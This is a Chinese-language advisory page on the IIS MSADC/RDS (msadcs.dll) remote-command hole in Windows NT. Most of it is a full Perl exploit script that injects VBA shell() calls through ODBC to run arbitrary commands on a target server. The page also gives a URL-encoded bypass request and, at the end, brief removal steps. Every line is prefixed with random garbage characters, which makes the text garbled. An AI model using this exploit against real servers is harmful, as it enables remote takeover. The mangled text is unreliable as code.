IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
evPr~_ qie7iE`o 涉及程序：
YE&"IH]lF Microsoft NT server
La? q> c ;e-[F 7 描述：
2;%DE<Z 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
)F&@ M;2p' =If % m9 详细：
C1P {4 U 如果你没有时间读详细内容的话，就删除:
{rGq|Bj c:\Program Files\Common Files\System\Msadc\msadcs.dll
Vn? %w~0! 有关的安全问题就没有了。
)eGGA6G }GsZ)\!$4 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
H ~1la V >b,o yM 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
dN;kYWRK 关于利用ODBC远程漏洞的描述，请参看:
NUb^!E" }uWJ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm wNDLN`,^H g^8dDY [% 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
]4\^> http://www.microsoft.com/security/bulletins/MS99-025faq.asp `LH !"M JU:! l yd 这里不再论述。
WKX5Dl cO<]%L0 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
V4qHaG b$[_(QUw /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
(.P;VH9R\ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Dqe)8 r ?LgR8/Io@5 VgZ<T,SuW #将下面这段保存为txt文件，然后: "perl -x 文件名"
Gk,{{:M:5 MLY19 ;e #!perl
M$-4.+G #
hx x,E>k # MSADC/RDS 'usage' (aka exploit) script
ADA%$NhJ! #
O+`^]D7 # by rain.forest.puppy
#`:s:bwM: #
;|w & n # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
z=!$3E ecr # beta test and find errors!
mc|T }B x +|Fw d use Socket; use Getopt::Std;
'0X!_w6W getopts("e:vd:h:XR", \%args);
Q l%7wrK +@]1!|@( print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
n<8$_?- mLk@&WxG if (!defined $args{h} && !defined $args{R}) {
( y^oGY; print qq~
Ol9U^ Usage: msadc.pl -h <host> { -d <delay> -X -v }
Y_> z"T -h <host> = host you want to scan (ip or domain)
BzF.KCScs -d <seconds> = delay between calls, default 1 second
51.F,uY -X = dump Index Server path table, if available
*]z.BZI: -v = verbose
V|}9d:&O -e = external dictionary file for step 5
I"Ji_4QV /`hr) Or a -R will resume a command session
p]`pUw{ 84 b;G4K ~; exit;}
3{Ze>yFE NUH;GMj,, $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Y::fcMJr;Q if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
o}v # Df if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
)
EEr? " if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
7 t5X $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
%2BFbaE if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
yZK1bnYG|I k(=\& T if (!defined $args{R}){ $ret = &has_msadc;
<X p
F die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
#1hT#YN , 9|% print "Please type the NT commandline you want to run (cmd /c assumed):\n"
qt/syF&s . "cmd /c ";
pPo?5s $in=<STDIN>; chomp $in;
' e 3y| $command="cmd /c " . $in ;
`m3@mJ!>\ @M#2T if (defined $args{R}) {&load; exit;}
T_Z@uZom. _I~TpH^1K print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
@[=* w`1 &try_btcustmr;
Q[J,j+f< M42Zpb]. print "\nStep 2: Trying to make our own DSN...";
a[";K, &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
huvg'Y t -/x +M-X# print "\nStep 3: Trying known DSNs...";
7b+OIZB &known_dsn;
H !F'I)1 )FWF T:P~ print "\nStep 4: Trying known .mdbs...";
:1_hQeq &known_mdb;
=e$
#m; oge^ 2 if (defined $args{e}){
lU Uq|Qr print "\nStep 5: Trying dictionary of DSN names...";
vlyq2>TfR &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
(n" ) P7egT,Z print "Sorry Charley...maybe next time?\n";
]~WP ;o exit;
:m#vvH vR,HCI ##############################################################################
hp -< 8Mf ,z 1# |Y sub sendraw { # ripped and modded from whisker
enG6T sleep($delay); # it's a DoS on the server! At least on mine...
YL){o$-N"J my ($pstr)=@_;
G8u8&| socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
^l$(- #'y die("Socket problems\n");
3
%DA { if(connect(S,pack "SnA4x8",2,80,$target)){
[ R~+p#l+Q select(S); $|=1;
4bAgbx-^ print $pstr; my @in=<S>;
,;/4E select(STDOUT); close(S);
EyBdL return @in;
V]q{N-Iq } else { die("Can't connect...\n"); }}
u:HKmP; ) V@qH] ##############################################################################
}S #.Pw% `}zv17wp sub make_header { # make the HTTP request
Jk{>*jYk` my $msadc=<<EOT
3BY/ &'oX POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
w-B\AK?} User-Agent: ACTIVEDATA
Lj~lfO Host: $ip
.&sguAyG Content-Length: $clen
X[@>1tl Connection: Keep-Alive
* uE U9fX u`bWn ADCClientVersion:01.06
n:*+pL; Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
N e^ #5 T jb7=1OPD_ --!ADM!ROX!YOUR!WORLD!
,1~Zqprn Content-Type: application/x-varg
// J:p,AF Content-Length: $reqlen
]G1j\ wnF ` 4k;`a EOT
s{s0#g ; $msadc=~s/\n/\r\n/g;
V ?_%Y<|L return $msadc;}
LL[ +QcH + ixDB0"\ ##############################################################################
3\4Cg() c'G\AbUVjE sub make_req { # make the RDS request
+vU.#C_2 my ($switch, $p1, $p2)=@_;
-g@pJ^>: my $req=""; my $t1, $t2, $query, $dsn;
hA@X;Mh^w W/ \7m\ B if ($switch==1){ # this is the btcustmr.mdb query
66|lQE&n $query="Select * from Customers where City=" . make_shell();
d Hp6 G^Y $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
L 1F){8[ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
vo::y" il#rdJ1@t elsif ($switch==2){ # this is general make table query
e<p$Op $query="create table AZZ (B int, C varchar(10))";
?0?' $dsn="$p1";}
_Jp_TvP> 2s U"p5 j elsif ($switch==3){ # this is general exploit table query
'R'>`?Nh $query="select * from AZZ where C=" . make_shell();
;JZXS M-3 $dsn="$p1";}
{xH
\!!"T Q1jyetk~I elsif ($switch==4){ # attempt to hork file info from index server
s]I],>}RU $query="select path from scope()";
3R{-\ZMd $dsn="Provider=MSIDXS;";}
md ZEL Ru qnA:[H;F elsif ($switch==5){ # bad query
<5X@r#Lz $query="select";
;8T<L[ ^U $dsn="$p1";}
.1pEq~> zu^ AkMc $t1= make_unicode($query);
$< aBawLZO $t2= make_unicode($dsn);
"|Pl(H X $req = "\x02\x00\x03\x00";
hC DI;'ls $req.= "\x08\x00" . pack ("S1", length($t1));
kEXcE F_9P $req.= "\x00\x00" . $t1 ;
+ ]>a`~ $req.= "\x08\x00" . pack ("S1", length($t2));
bkM$ Qo $req.= "\x00\x00" . $t2 ;
z N
t7DK $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
/tUl(Fp J` return $req;}
4/h 2_
Gt1Up~\s ##############################################################################
t]` 2f3UO q@\_q! sub make_shell { # this makes the shell() statement
.Yf
h * return "'|shell(\"$command\")|'";}
.U1dcL6 Y{O&- 5H^| ##############################################################################
ex| kD*= gSGe] sub make_unicode { # quick little function to convert to unicode
T+[e6/| my ($in)=@_; my $out;
=CVw0'yZ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
ko:I.6- K return $out;}
va<+)b\ $` o A$E3 ##############################################################################
?UxY4m%R; cpy"1=K~M sub rdo_success { # checks for RDO return success (this is kludge)
iY($O/G[+ my (@in) = @_; my $base=content_start(@in);
(]V.#JM if($in[$base]=~/multipart\/mixed/){
Gm HsO/ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
O-B3@qQ. h return 0;}
Q?tV:jogY {Q-U =me\ ##############################################################################
%*gO<U4L] eeDhTw9 sub make_dsn { # this makes a DSN for us
jG2w(h/" my @drives=("c","d","e","f");
[D,:=p` print "\nMaking DSN: ";
N0piL6Js foreach $drive (@drives) {
Stc\P]%d print "$drive: ";
4w?7AI]Ej my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
q1gf9` 0 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
G !~BA* . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
9=o
b: $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
N\fT6#5B return 0 if $2 eq "404"; # not found/doesn't exist
nZT@d;]U9 if($2 eq "200") {
|-mazv A foreach $line (@results) {
jg stx3 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
\1Bgs^ } return 0;}
$W?XxgkB? nx4aGS" F: ##############################################################################
\fhT#/0N
toWmm(7v sub verify_exists {
ZX0 c_Mk= my ($page)=@_;
xHG oCFB my @results=sendraw("GET $page HTTP/1.0\n\n");
3dbf! return $results[0];}
VZ,T`8" &8pXkD#A ##############################################################################
9, W-KM % n{W sub try_btcustmr {
$ {+.1"/[ my @drives=("c","d","e","f");
zfZDtKq my @dirs=("winnt","winnt35","winnt351","win","windows");
m=9 N^_ H6I #Xj foreach $dir (@dirs) {
}"-r;i print "$dir -> "; # fun status so you can see progress
| rvr Sab) foreach $drive (@drives) {
c| R/,/ print "$drive: "; # ditto
jQb D2x6( $reqlen=length( make_req(1,$drive,$dir) ) - 28;
9PJDT] $reqlenlen=length( "$reqlen" );
Z C93C7lJ $clen= 206 + $reqlenlen + $reqlen;
cOb%SC[A{ mQs$7t[>t my @results=sendraw(make_header() . make_req(1,$drive,$dir));
[ z ~Nw# if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
K[[k,W]qb else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
.ndQ(B @NIypi$T ##############################################################################
T]W -g 8x" d/D sub odbc_error {
MT`gr my (@in)=@_; my $base;
@r ?`:&m0 my $base = content_start(@in);
kut|A if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
G|lI=Q3f $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?a%i|Z7! $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4I*Mc%dD $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Q.1ohj0) return $in[$base+4].$in[$base+5].$in[$base+6];}
s]c$]&IGG print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
&[RU.Q!_H print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
8:% R |b $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
/6zpV kV t {"iIz_S ##############################################################################
m3!M L>nLt G U3 /s&9 sub verbose {
bY~ v0kg my ($in)=@_;
'EV *-_k return if !$verbose;
G C'%s print STDOUT "\n$in\n";}
_zh 5KP[{ ku?_/-ko] ##############################################################################
]e.+u md"%S-a_dT sub save {
2-0cB$W+ my ($p1, $p2, $p3, $p4)=@_;
)^H9C "7T open(OUT, ">rds.save") || print "Problem saving parameters...\n";
<gLtX[v!CL print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
05B+WJ1 close OUT;}
m;f?}z_\$ YZRB4T9 ##############################################################################
wF8\ 6ZpcT&yL sub load {
)|R9mW=k9P my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
XL^N5 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
3 \r@f_p @p=<IN>; close(IN);
<y!r~? $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Fz&ilB $target= inet_aton($ip) || die("inet_aton problems");
0@ lC5-= print "Resuming to $ip ...";
&|}IBu :T $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
i[{]
LiP if($p[1]==1) {
yrA zD = $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
(Fzh1# $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
lzG;F] my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
NCnId}BT if (rdo_success(@results)){print "Success!\n";}
hx VM]e[ else { print "failed\n"; verbose(odbc_error(@results));}}
b U ]N^og^ elsif ($p[1]==3){
==1/N{{R if(run_query("$p[3]")){
K9 Xd?
]a print "Success!\n";} else { print "failed\n"; }}
U!:!]DX( elsif ($p[1]==4){
oxQID if(run_query($drvst . "$p[3]")){
%:KV2GP print "Success!\n"; } else { print "failed\n"; }}
WgJAr73
l exit;}
q_y,j & ;&6PL] /d ##############################################################################
;-pvc<_c< wp. e3l sub create_table {
q YZ7Zt; my ($in)=@_;
Q5nyD/k4c $reqlen=length( make_req(2,$in,"") ) - 28;
5w)^~# ' $reqlenlen=length( "$reqlen" );
Hu8atlpo $clen= 206 + $reqlenlen + $reqlen;
F.pHL)37 my @results=sendraw(make_header() . make_req(2,$in,""));
*}ee"eHs return 1 if rdo_success(@results);
9C}aX }` my $temp= odbc_error(@results); verbose($temp);
4c[)}8\ return 1 if $temp=~/Table 'AZZ' already exists/;
6BU 0hV return 0;}
^>8]3@ Nh &17 ,]# 3 ##############################################################################
](>7h _2B Xm:= jQn sub known_dsn {
iWM7, =1+ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
~}-p5 q2 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
uuYH6 bw*d "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
c48J!,jCd' "banner", "banners", "ads", "ADCDemo", "ADCTest");
%;(|KrUN _~Z Q b foreach $dSn (@dsns) {
U@J/ print ".";
BX(d"z b< next if (!is_access("DSN=$dSn"));
}&T<wm ! if(create_table("DSN=$dSn")){
Of7) A print "$dSn successful\n";
I49l2> if(run_query("DSN=$dSn")){
{L4>2rF print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
ix7
e] )m( print "Something's borked. Use verbose next time\n";}}} print "\n";}
]9&q'7*L `3 y!XET ##############################################################################
_8b]o~[Z+ {IPn\Bka sub is_access {
MAe<.D HY my ($in)=@_;
`x$}~rP&)! $reqlen=length( make_req(5,$in,"") ) - 28;
'CX.qxF1;p $reqlenlen=length( "$reqlen" );
;5 Vk01R $clen= 206 + $reqlenlen + $reqlen;
+yb$[E* my @results=sendraw(make_header() . make_req(5,$in,""));
8#]7`o my $temp= odbc_error(@results);
)xvx6?Ah| verbose($temp); return 1 if ($temp=~/Microsoft Access/);
^UvK~5tBV return 0;}
9MB\z"b?A T]#,R|)d ##############################################################################
zz ' dg-F vN,}aV2nq sub run_query {
_A,-[*OKI my ($in)=@_;
0^y@p&;/. $reqlen=length( make_req(3,$in,"") ) - 28;
O<dZA=Oez $reqlenlen=length( "$reqlen" );
p~q_0Pg% $clen= 206 + $reqlenlen + $reqlen;
RUk<=! U my @results=sendraw(make_header() . make_req(3,$in,""));
#i +P(xV return 1 if rdo_success(@results);
Qw<kX*fxrI my $temp= odbc_error(@results); verbose($temp);
[p W1 =tI return 0;}
,/?%y\:J "T{~,'T ##############################################################################
O:,2OMB}B` a\&(Ua sub known_mdb {
E]H my @drives=("c","d","e","f","g");
tC?A so my @dirs=("winnt","winnt35","winnt351","win","windows");
1( ?CNW[ my $dir, $drive, $mdb;
!
[|vx!p my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
we\b ] 2JA&{ch # this is sparse, because I don't know of many
%< wQ my @sysmdbs=( "\\catroot\\icatalog.mdb",
u3M` 'YCb "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
^\ vfos "\\system32\\certmdb.mdb",
zY+t ,2z "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
WAwf L? 9*=@/1 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
HTDyuq s "\\cfusion\\cfapps\\forums\\forums_.mdb",
1ak D]Z "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
RD6h=n4B "\\cfusion\\cfapps\\security\\realm_.mdb",
)iEa2uJ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
5:l *Ib:s7 "\\cfusion\\database\\cfexamples.mdb",
?)?IZ Qj "\\cfusion\\database\\cfsnippets.mdb",
V#zhG AMy. "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
]{AOh2Z.hv "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
3 {Ek-{ 9 "\\cfusion\\brighttiger\\database\\cleam.mdb",
J A?,0S "\\cfusion\\database\\smpolicy.mdb",
a(}VA|l "\\cfusion\\database\cypress.mdb",
cXb
@H# "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
A]Q1&qM% "\\website\\cgi-win\\dbsample.mdb",
6+Wr6'kuH "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
c#{Y wh "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
,5 eH2W ); #these are just
;&+[W(7Sy foreach $drive (@drives) {
Sv~YFS :oy foreach $dir (@dirs){
@ ate49W foreach $mdb (@sysmdbs) {
<+?
Y
print ".";
2fkIdy#n@ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
~T>jBYI0 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
(#j2P0B if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Gut J_2f^9 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
{?EEIfg } else { print "Something's borked. Use verbose next time\n"; }}}}}
VY+(,\ )U \~gA+ o}Q foreach $drive (@drives) {
N J|NJ p&0 foreach $mdb (@mdbs) {
H
_Zo@y~J print ".";
cg(QjH" if(create_table($drv . $drive . $dir . $mdb)){
(
}]37 print "\n" . $drive . $dir . $mdb . " successful\n";
#*yM2H"7,; if(run_query($drv . $drive . $dir . $mdb)){
ASzzBR;?_ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
^8?j~&u$F } else { print "Something's borked. Use verbose next time\n"; }}}}
="3a%\ }
(orrX E z [cG t ##############################################################################
5i!V}hE _ `bS[%CJ sub hork_idx {
QL) >/%yU print "\nAttempting to dump Index Server tables...\n";
1DEO3p print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
<a8 #0ojm $reqlen=length( make_req(4,"","") ) - 28;
IF&g.R $reqlenlen=length( "$reqlen" );
T!u'V'Ei2 $clen= 206 + $reqlenlen + $reqlen;
qDby!^ryc my @results=sendraw2(make_header() . make_req(4,"",""));
a.
h?4+^bN if (rdo_success(@results)){
xa87xX=a my $max=@results; my $c; my %d;
o &BPG@n for($c=19; $c<$max; $c++){
OW+ e_im} $results[$c]=~s/\x00//g;
QD$}-D[ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
[c&2i`C $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
hl AR[ ] $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
TK; \_yN $d{"$1$2"}="";}
R GT_}ni foreach $c (keys %d){ print "$c\n"; }
8w)e/*:j } else {print "Index server doesn't seem to be installed.\n"; }}
? .c?Pu r?64!VS ; ##############################################################################
Xtci0eS#V )^t!|*1LA sub dsn_dict {
Ms.PO{wb open(IN, "<$args{e}") || die("Can't open external dictionary\n");
R#Y50h zT while(<IN>){
IXGW2z; $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
[ 3$.* next if (!is_access("DSN=$dSn"));
tO?21?AD D if(create_table("DSN=$dSn")){
7*zB*"B'1t print "$dSn successful\n";
qTyg~]e9( if(run_query("DSN=$dSn")){
KK:N [x print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
u$W Bc\ j print "Something's borked. Use verbose next time\n";}}}
Cn abD{uTf print "\n"; close(IN);}
oJP< 'l1 ? Wwh
_TO ##############################################################################
x Z|&/Ci = y?#^ sub sendraw2 { # ripped and modded from whisker
h6g=$8E sleep($delay); # it's a DoS on the server! At least on mine...
|n+ #1_t% my ($pstr)=@_;
|.1qy,|!X socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
98BYtxa die("Socket problems\n");
$GQphXb$ if(connect(S,pack "SnA4x8",2,80,$target)){
.W!tveX8- print "Connected. Getting data";
i4 hJE open(OUT,">raw.out"); my @in;
n4 ^*h4J7 select(S); $|=1; print $pstr;
/wr6\53J while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
QZ?d2PC=>? close(OUT); select(STDOUT); close(S); return @in;
|k Id8WtA } else { die("Can't connect...\n"); }}
q#;BhPc :FnOS<_B ##############################################################################
LFCTr/ , 2bWUa~%B sub content_start { # this will take in the server headers
-r!42`S my (@in)=@_; my $c;
7nm}fT
z7 for ($c=1;$c<500;$c++) {
&k b\,mQ if($in[$c] =~/^\x0d\x0a/){
Q`N18I3 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
$9G3LgcS else { return $c+1; }}}
d{W}p~UbH return -1;} # it should never get here actually
TW>?h=.z .\$Wy$ d ##############################################################################
I C k(z~D~ W3^.5I sub funky {
]22C )< my (@in)=@_; my $error=odbc_error(@in);
3a'q`.L if($error=~/ADO could not find the specified provider/){
h9)RJSF4 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
&(g|="T exit;}
+i+tp8T+7 if($error=~/A Handler is required/){
P2On k l print "\nServer has custom handler filters (they most likely are patched)\n";
kg:l:C)Tq exit;}
T e+^J 8 if($error=~/specified Handler has denied Access/){
9GTh yY print "\nServer has custom handler filters (they most likely are patched)\n";
0Su_#".-* exit;}}
N3Z iGD [ 6_"^jgH ##############################################################################
N?$7 Z v[G M2dmG< sub has_msadc {
q?yMa9ZZky my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
WJAYM2
6\ my $base=content_start(@results);
(Q'U@{s return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
L7m`HVCt& return 0;}
JPLI
@zX^ 7ZQ'h3K ########################
r] 0(qg `0?^[; [u[ 9<v}LeX 解决方案：
sW?B7o? 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
3EmcYC 2、移除web 目录: /msadc
